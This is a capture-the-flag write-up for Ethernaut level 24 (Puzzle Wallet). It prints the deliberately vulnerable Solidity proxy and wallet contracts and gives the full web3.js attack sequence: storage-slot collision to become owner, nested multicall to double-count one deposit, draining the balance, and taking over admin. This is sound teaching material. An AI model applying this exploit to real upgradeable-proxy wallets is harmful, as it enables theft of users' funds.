Ethernaut Hacks Level 24: Puzzle Wallet

This is the level 24 of OpenZeppelin Ethernaut web3/solidity based game.

Pre-requisites

• delegatecall in Solidity
• Proxy Patterns

Hack

Given contracts:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;

import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

    constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
        admin = _admin;
    }

    modifier onlyAdmin {
      require(msg.sender == admin, "Caller is not the admin");
      _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    using SafeMath for uint256;
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
      require(address(this).balance == 0, "Contract balance is not 0");
      maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
      require(address(this).balance <= maxBalance, "Max balance reached");
      balances[msg.sender] = balances[msg.sender].add(msg.value);
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] = balances[msg.sender].sub(value);
        (bool success, ) = to.call{ value: value }(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success, ) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}

player has to hijack the proxy contract, PuzzleProxy by becoming admin.

The vulnerability here arises due to storage collision between the proxy contract (PuzzleProxy) and logic contract (PuzzleWallet). And storage collision is a nightmare when using delegatecall. Let's bring this nightmare to reality.

Note that in proxy pattern any call/transaction sent does not directly go to the logic contract (PuzzleWallet here), but it is actually delegated to logic contract inside proxy contract (PuzzleProxy here) through delegatecall method.

Since, delegatecall is context preserving, the context is taken from PuzzleProxy. Meaning, any state read or write in storage would happen in PuzzleProxy at a corresponding slot, instead of PuzzleWallet.

Compare the storage variables at slots:

slot | PuzzleWallet  -  PuzzleProxy
----------------------------------
 0   |   owner      <-  pendingAdmin
 1   |   maxBalance <-  admin
 2   |           . 
 3   |           .

Accordingly, any write to pendingAdmin in PuzzleProxy would be reflected by owner in PuzzleWallet because they are at same storage slot, 0!

And that means if we set pendingAdmin to player in PuzzleProxy (through proposeNewAdmin method), player is automatically owner in PuzzleWallet! That's exactly what we'll do. Although contract instance provided web3js API, doesn't expose the proposeNewAdmin method, we can alway encode signature of function call and send transaction to the contract:

functionSignature = {
    name: 'proposeNewAdmin',
    type: 'function',
    inputs: [
        {
            type: 'address',
            name: '_newAdmin'
        }
    ]
}

params = [player]

data = web3.eth.abi.encodeFunctionCall(functionSignature, params)

await web3.eth.sendTransaction({from: player, to: instance, data})

player is now owner. Verify by:

await contract.owner() === player

// Output: true

Now, since we're owner let's whitelist us, player:

await contract.addToWhitelist(player)

Okay, so now player can call onlyWhitelisted guarded methods.

Also, note from the storage slot table above that admin and maxBalance also correspond to same slot (slot 1). We can write to admin if in some way we can write to maxBalance the address of player.

Two methods alter maxBalance - init and setMaxBalance. init shows no hope as it requires current maxBalance value to be zero. So, let's focus on setMaxBalance.

setMaxBalance can only set new maxBalance only if the contract's balance is 0. Check balance:

await getBalance(contract.address)

// Output: 0.001

Bad luck! It's non-zero. Can we somehow take out the contract's balance? Only method that does so, is execute, but contract tracks each user's balance through balances such that you can only withdraw what you deposited. We need some way to crack the contract's accounting mechanism so that we can withdraw more than deposited and hence drain contract's balance.

A possible way is to somehow call deposit with same msg.value multiple times within the same transaction. Hmmm...the developers of this contract did write logic to batch multiple transactions into one transaction to save gas costs. And this is what multicall method is for. Maybe we can exploit it?

But wait! multicall actually extracts function selector (which is first 4 bytes from signature) from the data and makes sure that deposit is called only once per transaction!

assembly {
    selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
    require(!depositCalled, "Deposit can only be called once");
    // Protect against reusing msg.value
    depositCalled = true;
}

We need another way. Think deeper...we can only call deposit only once in a multicall...but what if call a multicall that calls multiple multicalls and each of these multicalls call deposit once...aha! That'd be totally valid since each of these multiple multicalls will check their own separate depositCalled bools.

The contract balance currently is 0.001 eth. If we're able to call deposit two times through two multicalls in same transaction. The balances[player] would be registered from 0 eth to 0.002 eth, but in reality only 0.001 eth will be actually sent! Hence total balance of contract is in reality 0.002 eth but accounting in balances would think it's 0.003 eth. Anyway, player is now eligible to take out 0.002 eth from contract and drain it as a result. Let's begin.

Here's our call inception (calls within calls within call!)

            multicall
               |
        -----------------
        |               |
     multicall        multicall
        |                 |
      deposit          deposit     

Get function call encodings:

// deposit() method
depositData = await contract.methods["deposit()"].request().then(v => v.data)

// multicall() method with param of deposit function call signature
multicallData = await contract.methods["multicall(bytes[])"].request([depositData]).then(v => v.data)

Now we call multicall which will call two multicalls and each of these two will call deposit once each. Send value of 0.001 eth with transaction:

await contract.multicall([multicallData, multicallData], {value: toWei('0.001')})

player balance now must be 0.001 eth * 2 i.e. 0.002 eth. Which is equal to contract's total balance at this time.

Withdraw same amount by execute:

await contract.execute(player, toWei('0.002'), 0x0)

By now, contract's balance must be zero. Verify:

await getBalance(contract.address)

// Output: '0'

Finally we can call setMaxBalance to set maxBalance and as a consequence of storage collision, set admin to player:

await contract.setMaxBalance(player)

Bang! Wallet is hijacked!

Learned something awesome? Consider starring the github repo 😄

and following me on twitter here 🙏

Comments

[Eduardo W. da Cunha]

I am a little confused on this level. I thought that the contract object loaded in the browser console was the PuzzleWallet contract, because when I look at its ABI, there are all the functions from that contract and none from the PuzzleProxy. And the PuzzleWallet does not inherit from any other contract. I don't understand how it is possible to call proposeNewAdmin() function from the PuzzleProxy contract, if it does not inherit from PuzzleProxy...

On the other hand, if the contract object in the browser console is the PuzzleProxy, why there are all the functions from the PuzzleWallet in the ABI and none from the PuzzleProxy?

Appreciate very much if anyone coould help me! Thanks!

[Naveen ⚡]

Hey Eduardo. The contract loaded is PuzzleProxy. So you could encode data that corresponds to calling proposeNewAdmin() and send it to that address.

And yes, there are all the functions from PuzzleWallet in ABI instead of PuzzleProxy even though address is of the proxy because ABI of PuzzleWallet is purposefully loaded. This is done because most of the time you want to interact with logic/implementation (PuzzleWallet) contract in real application scenarios not the proxy itself and having ABI of implementation contract is convenient, otherwise you'd have to manually encode function calls to implementation contract. The proxy receives the call & forwards it to the implementation anyway.